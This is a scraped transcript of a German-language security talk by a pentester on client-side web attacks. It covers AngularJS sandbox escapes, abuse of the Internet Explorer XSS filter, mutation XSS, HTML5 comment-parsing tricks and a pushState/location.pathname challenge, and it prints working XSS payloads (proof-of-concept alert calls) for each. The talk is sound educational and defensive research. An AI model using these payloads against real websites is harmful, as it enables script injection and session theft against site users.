exploiting the client side hell of the web¼hr... · break out of the sandbox •{{99-33}}...

41
Exploiting the Client side hell of the web Msc Alexander Inführ

Upload: others

Post on 20-Aug-2020

6 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

Exploiting the Client side hell of the web

Msc Alexander Inführ

Page 2: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

whoami

• MSc Alexander Inführ

• Pentester bei Cure53

• Browser Security

• Web Security

• PDF Security

Page 3: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen
Page 4: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

AngularJS — Superheroic JavaScript MVVMFramework

• Ein JavaScript MVVM Framework

• Für dynamische Client Based Web Applikationen

• Verwendet Templates

Page 5: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

<html ng-app>

<script

src="https://ajax.googleapis.com/ajax/libs/angularjs/1.5.8/angular.min.js">

</script><body>

<div>

<label>Name:</label>

<input type="text" ng-model="yourName" placeholder="Enter a name here">

<hr>

<h1>Hello {{yourName}}!</h1>

<?php echo $_GET[„x“];?>

</div>

</body>

Page 6: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

• URL: /angular.php?x={{99-33}}

Page 7: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

Break out of the sandbox

• {{99-33}} evaluates zu 66

• Funktioniert an jedem Ort im HTML Dokument

• Benötigt keine normalen XSS HTML Zeichen (eg. < >)• Bypassed dadurch viele Filter

• Sandbox – kein Zugriff auf echtes Window object• {{alert(location);alert(document.cookie)}} => Nicht erlaubt

• Viele Sandbox escapes öffentlich:• Zugriff auf constructor.constructor• Manipulation von nativen Funktionen (toString etc.)

Page 8: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

Beispiele{{constructor.constructor('alert(1)')()}}

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

{{

{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;

'a'.constructor.prototype.charAt=''.valueOf;

$eval('x=alert(1)//');

}}

http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html

Page 9: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

Latest News

• AngularJS droppt den Support für Sandbox

• Nie als Sicherheitsfeature gedacht

• Ständig neue Bypasses

• Zu viel Overhead

• Für Pentester: AngularJS Injection einfach zu exploiten

Page 10: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen
Page 11: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

XXN – X-XSS-Nightmare

• Präsentiert von Masato Kinugawa

• X-XSS-Protection: 1• 0: Kein XSS Filter

• 1: Rewriting + Webseite parsen (Default)

• 1; mode=block: XSS erkannt => Webseite wird nicht weiter geparsed• => Blank Page

• Targets Internet Explorer XSS Filter

Page 12: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

IE XSS Filters

• Liste von „Regex“ Regeln

• Überprüft URL, Header Values und Post Payloads

• Value Reflected in Server Response:• XSS detected

• Angewandt führ verschiedene Kontexte:• CSS

• Script tags

• In JavaScript Blocks

Page 13: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

Reflected XSS Example

• URL: /?x=<svg onload=alert(1)>

Page 14: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

Reflected XSS Filter

• IE XSS Filter Match

• /?x=<svg onload=alert(1)

• URL Payload matches in HTML Response • XSS Attack detected -> Rewrite Payload

Page 15: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen
Page 16: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen
Page 17: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen
Page 18: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen
Page 19: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen
Page 20: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen
Page 21: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen
Page 22: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen
Page 23: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen
Page 24: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

Take Away

• Einige XXN Bugs bereits gefixed

• X-XSS-Protection: 1 kann sichere Webseiten unsicher machen

Page 25: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen
Page 26: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

MXSS

• Mario Heiderich – innerHTML Apocalypse

• DOM Based XSS

• Mutation des Payloads via innerHTML etc.

Page 27: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

Example

• IE 11• x.innerHTML => &lt;/style&gt;&lt;img src=1 onerror=alert(1)&gt;

• IE 9• x.innerHTML => <img onerror="alert(1)" src="1">

Page 28: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

DOM – IE 9 Mode

• IE DOM Explorer Broken – zeigt nicht richtigen DOM

• innerHTML decodierte &lt; und &gt;

• <img> wird danach geparsed und onerror ausgeführt

Page 29: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

• Nicht nur IE betroffen

• Viele Beispiele sind mittlerweile gefixed

• MXSS eine große Gefahr für XSS Filter• Eg. Google Caja

• Ab und zu werden noch neue Varianten entdeckt

Page 30: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen
Page 31: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

HTML5 – Komment Parsing

• HTML5• Viele neue Features!

• HTML 5 Komment Parsing• Nicht sehr bekannt

• Wirkt wie ein Bug

Page 32: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

• Filter• Keine Anführungszeichen– "

• </script> nicht erlaubt

• Kein Backslash

• New Lines sind erlaubt

<!DOCTYPE html>

<body>

<script> var a = "INJECTION1"</script><script> var b =

"INJECTION2"</script>

</body>

Page 33: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

Lösung

<!DOCTYPE html>

<body>

<script> var a = "<!--<script>"</script><script> var b = "/+alert(1)

-->" </script>

</body>

• Das Verhalten lässt sich noch optimieren

Page 34: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

Abwandlung

Alert außerhalb des Skript Tags!

<!DOCTYPE html>

<body>

<script> var a = "<!--<script>"</script>/+alert(1)

--></script>

</body>

Page 35: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

Erklärung

• Blau: Less Then operator

• Rot: Regular Expression

• Orange: Kommentar für Unterminated String Error

<script>

var a = "<!--<script>ANYTHING"</script><script> var b = "/+alert(1)

-->" </script>

Parsed Content:</script><script> var b = "/+alert(1)

-->"

Page 36: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen
Page 37: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

XSS via location.pathName

• http://example.com/test/“‘>/dddd• Location.pathname

• "/test/%22'%3E/dddd„

• Oft verwendet in Tracking Code

Page 38: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

Challenge

• Jquery + Jquery Mobile wird geladen• Jqery Mobile pushStateEnabled

• Location.hash endet in history.pushState

• History.pushState erlaubt es einen neuen Pfad zu setzen, der nicht geladen wird.

• Same Origin

Page 39: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

The vulnerable code<script>

$(document).ready(function() {

$('body').append(

' <img class="log" src="/payloadLogger?url=' +

location.protocol + "//" +

location.host +

location.pathname +

escape(location.search) + escape(location.hash) + '">'); })

</script>

Page 40: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

Solution – Internet Explorer only

• http://challenge/challenge.html#mhtml:http://challenge/challenge.html

• history.pushState({},{},'mhtml:http://challenge/challenge.html"><svg onload=alert(1)>')

• location.pathname =>

http://challenge/challenge.html"><svg

onload=alert(1)>

Page 41: Exploiting the Client side hell of the web¼hr... · Break out of the sandbox •{{99-33}} evaluates zu 66 •Funktioniert an jedem Ort im HTML Dokument •Benötigt keine normalen

URLS

• http://l0.cm/xxn/

• http://de.slideshare.net/x00mario/the-innerhtml-apocalypse

• https://github.com/cure53/XSSChallengeWiki/wiki/Shibuya.XSS-JIZEN-GAKUSHU-Challenge

• https://www.youtube.com/watch?v=wzrojHHyQwc